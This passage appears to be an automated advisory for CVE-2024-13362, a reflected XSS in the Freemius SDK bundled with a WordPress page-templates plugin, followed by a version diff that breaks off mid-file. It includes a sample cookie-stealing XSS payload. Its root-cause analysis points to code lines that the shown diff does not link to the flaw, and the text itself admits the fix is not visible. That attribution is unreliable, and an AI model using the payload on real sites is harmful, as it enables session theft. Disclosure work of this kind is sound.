Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 7, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (custom-page-templates-by-vegacorp)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.1.16
Patched Version 1.1.17
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:

This vulnerability is a Reflected DOM-Based Cross-Site Scripting (XSS) issue in the Freemius WordPress SDK, versions up to and including 2.10.1. The flaw resides in the URL parameter handling within various plugins and themes that bundle the SDK. An unauthenticated attacker can inject arbitrary web scripts that execute in the context of a victim’s browser session, requiring user interaction (e.g., clicking a crafted link). The CVSS score is 6.1 (Medium), reflecting the need for user action and the lack of direct system compromise.

Root Cause: The vulnerability stems from insufficient input sanitization and output escaping of the ‘url’ parameter within the Freemius SDK. The specific code path involves the ‘class-fs-plugin-updater.php’ file (lines 542-568) where the SDK handles update check responses. The ‘fs_request_get_bool’ function is used to fetch the ‘force-check’ parameter, but other URL parameters are not uniformly sanitized before being reflected in the DOM. The ‘class-fs-admin-menu-manager.php’ (lines 699-736) and ‘templates/pricing.php’ (lines 69-70) also process user-supplied parameters without adequate escaping. The diff shows the SDK version moving from 2.9.0 to 2.11.0, with numerous changes across multiple files, but the core issue is the lack of escaping in output generated from URL parameters.

Exploitation: An attacker crafts a malicious URL containing a ‘url’ parameter with an XSS payload (e.g., alert(document.cookie)). The victim must be tricked into clicking this link. The SDK’s plugins or themes that use the ‘url’ parameter in dynamic output (like admin notices or pricing pages) will inject the payload into the page’s HTML without proper escaping, causing the script to execute in the victim’s browser. The attack vector is entirely frontend-based (DOM-based XSS), requiring the victim to interact with the crafted link while authenticated or visiting an admin page where the SDK processes the parameter.

Patch Analysis: The patch updates the Freemius SDK from version 2.9.0 to 2.11.0. The diff introduces a new ‘maybe_schedule_install_sync_cron’ method (line 6570) that wraps the previously direct ‘schedule_install_sync’ call with an additional check (‘is_user_in_admin()’) to reduce the attack surface. However, the key security fix is not explicitly visible in this truncated diff; instead, the SDK version bump likely includes broader input validation and output escaping improvements across multiple modules. The changes to ‘class-fs-admin-notice-manager.php’ (lines 194-201) and ‘class-fs-plugin-updater.php’ (lines 542-568) show restructuring of update logic and improved template handling, which collectively mitigate DOM injection vectors by sanitizing reflected data.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s WordPress admin session. This can lead to session hijacking, credential theft, forced plugin installation or deactivation, and defacement of admin pages. Since the attack requires user interaction (clicking a link) and operates within the browser, the direct system compromise is limited, but the potential for lateral movement within the admin account makes this a significant risk for authenticated users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/custom-page-templates-by-vegacorp/page-layouts.php
+++ b/custom-page-templates-by-vegacorp/page-layouts.php
@@ -4,7 +4,7 @@
   Plugin Name: WP Page Templates
   Plugin URI: https://wppagetemplates.com?utm_source=wp-admin&utm_medium=plugins-list
   Description: Create full width pages and pages with custom sidebars.
-  Version: 1.1.16
+  Version: 1.1.17
   Author: GreenJayMedia
   Author URI:  https://greenjaymedia.com?utm_source=wp-admin&utm_medium=plugins-list
   Author Email: josevega@vegacorp.me
@@ -43,7 +43,7 @@
     class VG_Page_Layouts {
         private static $instance = false;

-        var $version = '1.1.16';
+        var $version = '1.1.17';

         var $textname = 'vg_page_layout';

--- a/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/includes/class-freemius.php
+++ b/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/includes/class-freemius.php
@@ -110,6 +110,12 @@
         private $_enable_anonymous = true;

         /**
+         * @since 2.9.1
+         * @var string|null Hints the SDK whether the plugin supports parallel activation mode, preventing the auto-deactivation of the free version when the premium version is activated, and vice versa.
+         */
+        private $_premium_plugin_basename_from_parallel_activation;
+
+        /**
          * @since 1.1.7.5
          * @var bool Hints the SDK if plugin should run in anonymous mode (only adds feedback form).
          */
@@ -1651,6 +1657,31 @@
                     );
                 }
             }
+
+            if (
+                $this->is_user_in_admin() &&
+                $this->is_parallel_activation() &&
+                $this->_premium_plugin_basename !== $this->_premium_plugin_basename_from_parallel_activation
+            ) {
+                $this->_premium_plugin_basename = $this->_premium_plugin_basename_from_parallel_activation;
+
+                register_activation_hook(
+                    dirname( $this->_plugin_dir_path ) . '/' . $this->_premium_plugin_basename,
+                    array( &$this, '_activate_plugin_event_hook' )
+                );
+            }
+        }
+
+        /**
+         * Determines if a plugin is running in parallel activation mode.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since 2.9.1
+         *
+         * @return bool
+         */
+        private function is_parallel_activation() {
+            return ! empty( $this->_premium_plugin_basename_from_parallel_activation );
         }

         /**
@@ -5155,11 +5186,35 @@
                 $this->_plugin :
                 new FS_Plugin();

+            $is_premium     = $this->get_bool_option( $plugin_info, 'is_premium', true );
             $premium_suffix = $this->get_option( $plugin_info, 'premium_suffix', '(Premium)' );

+            $module_type = $this->get_option( $plugin_info, 'type', $this->_module_type );
+
+            $parallel_activation = $this->get_option( $plugin_info, 'parallel_activation' );
+
+            if (
+                ! $is_premium &&
+                is_array( $parallel_activation ) &&
+                ( WP_FS__MODULE_TYPE_PLUGIN === $module_type ) &&
+                $this->get_bool_option( $parallel_activation, 'enabled' )
+            ) {
+                $premium_basename = $this->get_option( $parallel_activation, 'premium_version_basename' );
+
+                if ( empty( $premium_basename ) ) {
+                    throw new Exception('You need to specify the premium version basename to enable parallel version activation.');
+                }
+
+                $this->_premium_plugin_basename_from_parallel_activation = $premium_basename;
+
+                if ( is_plugin_active( $premium_basename ) ) {
+                    $is_premium = true;
+                }
+            }
+
             $plugin->update( array(
                 'id'                   => $id,
-                'type'                 => $this->get_option( $plugin_info, 'type', $this->_module_type ),
+                'type'                 => $module_type,
                 'public_key'           => $public_key,
                 'slug'                 => $this->_slug,
                 'premium_slug'         => $this->get_option( $plugin_info, 'premium_slug', "{$this->_slug}-premium" ),
@@ -5167,7 +5222,7 @@
                 'version'              => $this->get_plugin_version(),
                 'title'                => $this->get_plugin_name( $premium_suffix ),
                 'file'                 => $this->_plugin_basename,
-                'is_premium'           => $this->get_bool_option( $plugin_info, 'is_premium', true ),
+                'is_premium'           => $is_premium,
                 'premium_suffix'       => $premium_suffix,
                 'is_live'              => $this->get_bool_option( $plugin_info, 'is_live', true ),
                 'affiliate_moderation' => $this->get_option( $plugin_info, 'has_affiliation' ),
@@ -5236,7 +5291,14 @@
                 $this->_anonymous_mode   = false;
             } else {
                 $this->_enable_anonymous = $this->get_bool_option( $plugin_info, 'enable_anonymous', true );
-                $this->_anonymous_mode   = $this->get_bool_option( $plugin_info, 'anonymous_mode', false );
+                $this->_anonymous_mode   = (
+                    $this->get_bool_option( $plugin_info, 'anonymous_mode', false ) ||
+                    (
+                        $this->apply_filters( 'playground_anonymous_mode', true ) &&
+                        ! empty( $_SERVER['HTTP_HOST'] ) &&
+                        FS_Site::is_playground_wp_environment_by_host( $_SERVER['HTTP_HOST'] )
+                    )
+                );
             }
             $this->_permissions = $this->get_option( $plugin_info, 'permissions', array() );
             $this->_is_bundle_license_auto_activation_enabled = $this->get_option( $plugin_info, 'bundle_license_auto_activation', false );
@@ -5444,7 +5506,7 @@

             if ( $this->is_registered() ) {
                 // Schedule code type changes event.
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();
             }

             /**
@@ -6508,6 +6570,33 @@
         }

         /**
+         * Instead of running blocking install sync event, execute non blocking scheduled cron job.
+         *
+         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding specified blog ID from being the cron job executor.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         */
+        private function maybe_schedule_install_sync_cron( $except_blog_id = 0 ) {
+            if ( ! $this->is_user_in_admin() ) {
+                return;
+            }
+
+            if ( $this->is_clone() ) {
+                return;
+            }
+
+            if (
+                // The event has been properly scheduled, so no need to reschedule it.
+                is_numeric( $this->next_install_sync() )
+            ) {
+                return;
+            }
+
+            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
+        }
+
+        /**
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.3
          *
@@ -6605,22 +6694,6 @@
         }

         /**
-         * Instead of running blocking install sync event, execute non blocking scheduled wp-cron.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.1.7.3
-         *
-         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding excluded specified blog ID from being the cron executor.
-         */
-        private function schedule_install_sync( $except_blog_id = 0 ) {
-            if ( $this->is_clone() ) {
-                return;
-            }
-
-            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
-        }
-
-        /**
          * Unix timestamp for previous install sync cron execution or false if never executed.
          *
          * @todo   There's some very strange bug that $this->_storage->install_sync_timestamp value is not being updated. But for sure the sync event is working.
@@ -7411,7 +7484,7 @@
                  */
                 if (
                     is_plugin_active( $other_version_basename ) &&
-                    $this->apply_filters( 'deactivate_on_activation', true )
+                    $this->apply_filters( 'deactivate_on_activation', ! $this->is_parallel_activation() )
                 ) {
                     deactivate_plugins( $other_version_basename );
                 }
@@ -7425,7 +7498,7 @@

                 // Schedule re-activation event and sync.
 //				$this->sync_install( array(), true );
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();

                 // If activating the premium module version, add an admin notice to congratulate for an upgrade completion.
                 if ( $is_premium_version_activation ) {
@@ -8616,7 +8689,7 @@
                 return;
             }

-            $this->schedule_install_sync();
+            $this->maybe_schedule_install_sync_cron();
 //			$this->sync_install( array(), true );
         }

@@ -15974,7 +16047,7 @@
             if ( $this->is_install_sync_scheduled() &&
                  $context_blog_id == $this->get_install_sync_cron_blog_id()
             ) {
-                $this->schedule_install_sync( $context_blog_id );
+                $this->maybe_schedule_install_sync_cron( $context_blog_id );
             }
         }

@@ -23927,13 +24000,15 @@

             // Start trial button.
             $button = ' ' . sprintf(
-                    '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s  ➜</button></a>',
+                    '<div><a class="button button-primary" href="%s">%s  ➜</a></div>',
                     $trial_url,
                     $this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
                 );

+            $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
             $this->_admin_notices->add_sticky(
-                $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+                "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
                 'trial_promotion',
                 '',
                 'promotion'
@@ -25403,7 +25478,7 @@
                 $img_dir = WP_FS__DIR_IMG;

                 // Locate the main assets folder.
-                if ( 1 < count( $fs_active_plugins->plugins ) ) {
+                if ( ! empty( $fs_active_plugins->plugins ) ) {
                     $plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );

                     foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/includes/class-fs-plugin-updater.php
+++ b/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@

             global $wp_current_filter;

-            $current_plugin_version = $this->_fs->get_plugin_version();
-
-            if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
-                if (
-                    is_null( $this->_update_details ) ||
-                    ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
-                ) {
-                    /**
-                     * After an update, clear the stored update details and reparse the plugin's main file in order to get
-                     * the updated version's information and prevent the previous update information from showing up on the
-                     * updates page.
-                     *
-                     * @author Leo Fajardo (@leorw)
-                     * @since 2.3.1
-                     */
-                    $this->_update_details  = null;
-                    $current_plugin_version = $this->_fs->get_plugin_version( true );
-                }
+            if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+                return $transient_data;
             }

             if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
                     false,
                     fs_request_get_bool( 'force-check' ),
                     FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-                    $current_plugin_version
+                    $this->_fs->get_plugin_version()
                 );

                 $this->_update_details = false;
--- a/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/includes/entities/class-fs-plugin-plan.php
+++ b/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
 	/**
 	 * Class FS_Plugin_Plan
 	 *
-	 * @property FS_Pricing[] $pricing
 	 */
 	class FS_Plugin_Plan extends FS_Entity {

--- a/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/includes/entities/class-fs-site.php
+++ b/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
         exit;
     }

-    /**
-     * @property int $blog_id
-     */
-    #[AllowDynamicProperties]
     class FS_Site extends FS_Scope_Entity {
         /**
          * @var number
          */
         public $site_id;
         /**
+         * @var int
+         */
+        public $blog_id;
+        /**
          * @var number
          */
         public $plugin_id;
@@ -190,7 +190,7 @@
                 fs_ends_with( $subdomain, '.cloudwaysapps.com' ) ||
                 // Kinsta
                 (
-                    ( fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
+                    ( fs_starts_with( $subdomain, 'stg-' ) ||  fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
                     ( fs_ends_with( $subdomain, '.kinsta.com' ) || fs_ends_with( $subdomain, '.kinsta.cloud' ) )
                 ) ||
                 // DesktopServer
@@ -208,6 +208,40 @@
             );
         }

+        /**
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         *
+         * @param string $host
+         *
+         * @return bool
+         */
+        static function is_playground_wp_environment_by_host( $host ) {
+            // Services aimed at providing a WordPress sandbox environment.
+            $sandbox_wp_environment_domains = array(
+                // InstaWP
+                'instawp.xyz',
+
+                // TasteWP
+                'tastewp.com',
+
+                // WordPress Playground
+                'playground.wordpress.net',
+            );
+
+            foreach ( $sandbox_wp_environment_domains as $domain) {
+                if (
+                    ( $host === $domain ) ||
+                    fs_ends_with( $host, '.' . $domain ) ||
+                    fs_ends_with( $host, '-' . $domain )
+                ) {
+                    return true;
+                }
+            }
+
+            return false;
+        }
+
         function is_localhost() {
             return ( WP_FS__IS_LOCALHOST_FOR_SERVER || self::is_localhost_by_address( $this->url ) );
         }
--- a/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/includes/entities/class-fs-user.php
+++ b/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
 			parent::__construct( $user );
 		}

+		/**
+		 * This method removes the deprecated 'is_beta' property from the serialized data.
+		 * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+		 *
+		 * @return void
+		 */
+		function __wakeup() {
+			if ( property_exists( $this, 'is_beta' ) ) {
+				// If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+				unset( $this->is_beta );
+			}
+		}
+
 		function get_name() {
 			return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
 		}
--- a/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/includes/managers/class-fs-admin-menu-manager.php
+++ b/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
 				$menu = $this->find_main_submenu();
 			}

+			$menu_slug   = $menu['menu'][2];
 			$parent_slug = isset( $menu['parent_slug'] ) ?
-                $menu['parent_slug'] :
-                'admin.php';
+				$menu['parent_slug'] :
+				'admin.php';

-            return admin_url(
-                $parent_slug .
-                ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
-                'page=' .
-                $menu['menu'][2]
-            );
+			if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+				$parent_slug = 'admin.php';
+
+				/**
+				 * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+				 *
+				 * @author Leo Fajardo (@leorw)
+				 * @since 2.10.2
+				 */
+				global $_parent_pages;
+
+				if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+					$_parent_slug = $_parent_pages[ $menu_slug ];
+					$parent_slug  = isset( $_parent_pages[ $_parent_slug ] ) ?
+						$parent_slug :
+						$menu['parent_slug'];
+				}
+			}
+
+			return admin_url(
+				$parent_slug .
+				( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+				'page=' .
+				$menu_slug
+			);
 		}

 		/**
--- a/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/includes/managers/class-fs-admin-notice-manager.php
+++ b/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
          * @since  1.0.7
          */
         static function _add_sticky_dismiss_javascript() {
+            $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+            if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+                return;
+            }
+
             $params = array();
-            fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+            fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
         }

         private static $_added_sticky_javascript = false;
--- a/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/start.php
+++ b/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.9.0';
+	$this_sdk_version = '2.11.0';

 	#region SDK Selection Logic --------------------------------------------------------------------

@@ -36,7 +36,16 @@
 		require_once dirname( __FILE__ ) . '/includes/fs-essential-functions.php';
 	}

-	/**
+    /**
+     * We updated the logic to support SDK loading from a subfolder of a theme as well as from a parent theme
+     * If the SDK is found in the active theme, it sets the relative path accordingly.
+     * If not, it checks the parent theme and sets the relative path if found there.
+     * This allows the SDK to be loaded from composer dependencies or from a custom `vendor/freemius` folder.
+     *
+     * @author Daniele Alessandra (@DanieleAlessandra)
+     * @since  2.9.0.5
+     *
+     *
 	 * This complex logic fixes symlink issues (e.g. with Vargant). The logic assumes
 	 * that if it's a file from an SDK running in a theme, the location of the SDK
 	 * is in the main theme's folder.
@@ -83,16 +92,50 @@
      */
 	$themes_directory         = get_theme_root( get_stylesheet() );
 	$themes_directory_name    = basename( $themes_directory );
-	$theme_candidate_basename = basename( dirname( $fs_root_path ) ) . '/' . basename( $fs_root_path );

-	if ( $file_path == fs_normalize_path( realpath( trailingslashit( $themes_directory ) . $theme_candidate_basename . '/' . basename( $file_path ) ) )
-	) {
-		$this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_candidate_basename;
-		$is_theme               = true;
-	} else {
-		$this_sdk_relative_path = plugin_basename( $fs_root_path );
-		$is_theme               = false;
-	}
+    // This change ensures that the condition works even if the SDK is located in a subdirectory (e.g., vendor)
+    $theme_candidate_sdk_basename = str_replace( $themes_directory . '/' . get_stylesheet() . '/', '', $fs_root_path );
+
+    // Check if the current file is part of the active theme.
+    $is_current_sdk_from_active_theme = $file_path == $themes_directory . '/' . get_stylesheet() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
+    $is_current_sdk_from_parent_theme = false;
+
+    // Check if the current file is part of the parent theme.
+    if ( ! $is_current_sdk_from_active_theme ) {
+        $theme_candidate_sdk_basename     = str_replace( $themes_directory . '/' . get_template() . '/',
+            '',
+            $fs_root_path );
+        $is_current_sdk_from_parent_theme = $file_path == $themes_directory . '/' . get_template() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
+    }
+
+    $theme_name = null;
+    if ( $is_current_sdk_from_active_theme ) {
+        $theme_name             = get_stylesheet();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
+        $is_theme               = true;
+    } else if ( $is_current_sdk_from_parent_theme ) {
+        $theme_name             = get_template();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
+        $is_theme               = true;
+    } else {
+        $this_sdk_relative_path = plugin_basename( $fs_root_path );
+        $is_theme               = false;
+
+        /**
+         * If this file was included from another plugin with lower SDK version, and if this plugin is symlinked, then we need to get the actual plugin path,
+         * as the value right now will be wrong, it will only remove the directory separator from the file_path.
+         *
+         * The check of `fs_find_direct_caller_plugin_file` determines that this file was indeed included by a different plugin than the main plugin.
+         */
+        if ( DIRECTORY_SEPARATOR . $this_sdk_relative_path === $fs_root_path && function_exists( 'fs_find_direct_caller_plugin_file' ) ) {
+            $original_plugin_dir_name = dirname( fs_find_direct_caller_plugin_file( $file_path ) );
+
+            // Remove everything before the original plugin directory name.
+            $this_sdk_relative_path = substr( $this_sdk_relative_path, strpos( $this_sdk_relative_path, $original_plugin_dir_name ) );
+
+            unset( $original_plugin_dir_name );
+        }
+    }

 	if ( ! isset( $fs_active_plugins ) ) {
 		// Load all Freemius powered active plugins.
@@ -176,7 +219,8 @@
 	     $this_sdk_version != $fs_active_plugins->plugins[ $this_sdk_relative_path ]->version
 	) {
 		if ( $is_theme ) {
-			$plugin_path = basename( dirname( $this_sdk_relative_path ) );
+            // Saving relative path and not only directory name as it could be a subfolder
+            $plugin_path = $theme_name;
 		} else {
 			$plugin_path = plugin_basename( fs_find_direct_caller_plugin_file( $file_path ) );
 		}
@@ -225,11 +269,23 @@

 		$is_newest_sdk_type_theme = ( isset( $fs_newest_sdk->type ) && 'theme' === $fs_newest_sdk->type );

-		if ( ! $is_newest_sdk_type_theme ) {
-			$is_newest_sdk_plugin_active = is_plugin_active( $fs_newest_sdk->plugin_path );
-		} else {
-			$current_theme               = wp_get_theme();
-			$is_newest_sdk_plugin_active = ( $current_theme->stylesheet === $fs_newest_sdk->plugin_path );
+        /**
+         * @var bool $is_newest_sdk_module_active
+         * True if the plugin with the newest SDK is active.
+         * True if the newest SDK is part of the current theme or current theme's parent.
+         * False otherwise.
+         */
+        if ( ! $is_newest_sdk_type_theme ) {
+            $is_newest_sdk_module_active = is_plugin_active( $fs_newest_sdk->plugin_path );
+        } else {
+            $current_theme = wp_get_theme();
+            // Detect if current theme is the one registered as newer SDK
+            $is_newest_sdk_module_active = (
+                strpos(
+                    $fs_newest_sdk->plugin_path,
+                    '../' . $themes_directory_name . '/' . $current_theme->get_stylesheet() . '/'
+                ) === 0
+            );

             $current_theme_parent = $current_theme->parent();

@@ -237,13 +293,19 @@
              * If the current theme is a child of the theme that has the newest SDK, this prevents a redirects loop
              * from happening by keeping the SDK info stored in the `fs_active_plugins` option.
              */
-            if ( ! $is_newest_sdk_plugin_active && $current_theme_parent instanceof WP_Theme ) {
-                $is_newest_sdk_plugin_active = ( $fs_newest_sdk->plugin_path === $current_theme_parent->stylesheet );
+            if ( ! $is_newest_sdk_module_active && $current_theme_parent instanceof WP_Theme ) {
+                // Detect if current theme parent is the one registered as newer SDK
+                $is_newest_sdk_module_active = (
+                    strpos(
+                        $fs_newest_sdk->plugin_path,
+                        '../' . $themes_directory_name . '/' . $current_theme_parent->get_stylesheet() . '/'
+                    ) === 0
+                );
             }
 		}

 		if ( $is_current_sdk_newest &&
-		     ! $is_newest_sdk_plugin_active &&
+		     ! $is_newest_sdk_module_active &&
 		     ! $fs_active_plugins->newest->in_activation
 		) {
 			// If current SDK is the newest and the plugin is NOT active, it means
@@ -262,14 +324,14 @@
 				. '/start.php' );
 		}

-		$is_newest_sdk_path_valid = ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) && file_exists( $sdk_starter_path );
+		$is_newest_sdk_path_valid = ( $is_newest_sdk_module_active || $fs_active_plugins->newest->in_activation ) && file_exists( $sdk_starter_path );

 		if ( ! $is_newest_sdk_path_valid && ! $is_current_sdk_newest ) {
 			// Plugin with newest SDK is no longer active, or SDK was moved to a different location.
 			unset( $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ] );
 		}

-		if ( ! ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) ||
+		if ( ! ( $is_newest_sdk_module_active || $fs_active_plugins->newest->in_activation ) ||
 		     ! $is_newest_sdk_path_valid ||
 		     // Is newest SDK downgraded.
 		     ( $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path &&
@@ -284,7 +346,7 @@
 			// Find the active plugin with the newest SDK version and update the newest reference.
 			fs_fallback_to_newest_active_sdk();
 		} else {
-			if ( $is_newest_sdk_plugin_active &&
+			if ( $is_newest_sdk_module_active &&
 			     $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path &&
 			     ( $fs_active_plugins->newest->in_activation ||
 			       ( class_exists( 'Freemius' ) && ( ! defined( 'WP_FS__SDK_VERSION' ) || version_compare( WP_FS__SDK_VERSION, $this_sdk_version, '<' ) ) )
@@ -313,7 +375,7 @@
 		return;
 	}

-	if ( version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) {
+	if ( isset( $fs_active_plugins->newest ) && version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) {
 		$newest_sdk = $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ];

 		$plugins_or_theme_dir_path = ( ! isset( $newest_sdk->type ) || 'theme' !== $newest_sdk->type ) ?
--- a/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/templates/forms/license-activation.php
+++ b/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/templates/forms/license-activation.php
@@ -569,7 +569,7 @@
 				        licenseKey = $otherLicenseKey.val();
                     } else {
 				        if ( ! hasLicensesDropdown ) {
-                            licenseID = $availableLicenseKey.data( 'id' );
+                            licenseID = $availableLicenseKey.data( 'id' ).toString();
                         } else {
                             licenseID = $licensesDropdown.val();
                         }
--- a/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/templates/pricing.php
+++ b/custom-page-templates-by-vegacorp/vendor/freemius/wordpress-sdk/templates/pricing.php
@@ -69,6 +69,11 @@

     wp_enqueue_script( 'freemius-pricing', $pricing_js_url );

+    $pricing_css_path = $fs->apply_filters( 'pricing/css_path', null );
+    if ( is_string( $pricing_css_path ) ) {
+        wp_enqueue_style( 'freemius-pricing', fs_asset_url( $pricing_css_path ) );
+    }
+
 	$has_tabs = $fs->_add_tabs_before_content();

 	if ( $has_tabs ) {
@@ -95,6 +100,8 @@
             'unique_affix'           => $fs->get_unique_affix(),
             'show_annual_in_monthly' => $fs->apply_filters( 'pricing/show_annual_in_monthly', true ),
             'license'                => $fs->has_active_valid_license() ? $fs->_get_license() : null,
+            'plugin_icon'            => $fs->get_local_icon_url(),
+            'disable_single_package' => $fs->apply_filters( 'pricing/disable_single_package', false ),
         ), $query_params );

         wp_add_inline_script( 'freemius-pricing', 'Freemius.pricing.new( ' . json_encode( $pricing_config ) . ' )' );
--- a/custom-page-templates-by-vegacorp/vendor/vegacorp/vg-freemius-sdk/index.php
+++ b/custom-page-templates-by-vegacorp/vendor/vegacorp/vg-freemius-sdk/index.php
@@ -44,7 +44,7 @@
 					'logo'                     => '',
 					'logo_width'               => '',
 					'buy_link'                 => '',
-					'buy_link_text'            => __( 'Buy extension now', $this->textname ),
+					'buy_link_text'            => '',
 					'plugin_name'              => '',
 					'plugin_prefix'            => $this->_generate_random_string( 5 ),
 					'settings_page_url'        => '',
@@ -67,10 +67,18 @@
 			add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) );
 			register_activation_hook( $this->settings['main_plugin_file'], array( $this, 'enable_welcome_page' ) );

+			add_action( 'init', array( $this, 'load_translations' ) );
+		}
+
+		function load_translations() {
 			$lang_path = wp_normalize_path( __DIR__ . '/lang/' );
-			$base_path = wp_normalize_path( dirname( dirname( dirname( dirname( __FILE__ ) ) ) ) ) . '/';
+			$base_path = wp_normalize_path( dirname( __DIR__, 3 ) ) . '/';
 			$lang_path = str_replace( $base_path, '', $lang_path );
 			load_plugin_textdomain( $this->textname, false, $lang_path );
+
+			if ( empty( $this->settings['buy_link_text'] ) ) {
+				$this->settings['buy_link_text'] = __( 'Buy extension now', $this->textname );
+			}
 		}

 		function admin_enqueue_scripts( $hook ) {
@@ -266,7 +274,6 @@
 		function __get( $name ) {
 			return $this->$name;
 		}
-
 	}

 }
--- a/custom-page-templates-by-vegacorp/vendor/vegacorp/vg-freemius-sdk/settings-page.php
+++ b/custom-page-templates-by-vegacorp/vendor/vegacorp/vg-freemius-sdk/settings-page.php
@@ -1,360 +1,360 @@
-<?php
-
-if (!class_exists('VGFP_SDK_Settings_Page')) {
-
-	class VGFP_SDK_Settings_Page {
-
-		var $sections = array();
-		var $args = array();
-		var $settings = array();
-		var $textname = 'vg_freemium_plugin_sdk';
-
-		function __construct($args = array()) {
-			$defaults = array(
-				'sections' => array(), // Array containing sections and fields using same redux framework's format
-				'opt_name' => '',
-				'display_name' => __('Settings', $this->textname),
-				'page_permissions' => 'manage_options',
-				'enable_wpmu_mode' => is_multisite(),
-				'sdk' => null,
-			);
-			$args = wp_parse_args($args, $defaults);
-
-			// Remove empty sections
-			foreach ($args['sections'] as $section_index => $section) {
-				if (empty($section) || empty($section['fields'])) {
-					unset($args['section'][$section_index]);
-				}
-			}
-
-			$this->sections = $args['sections'];
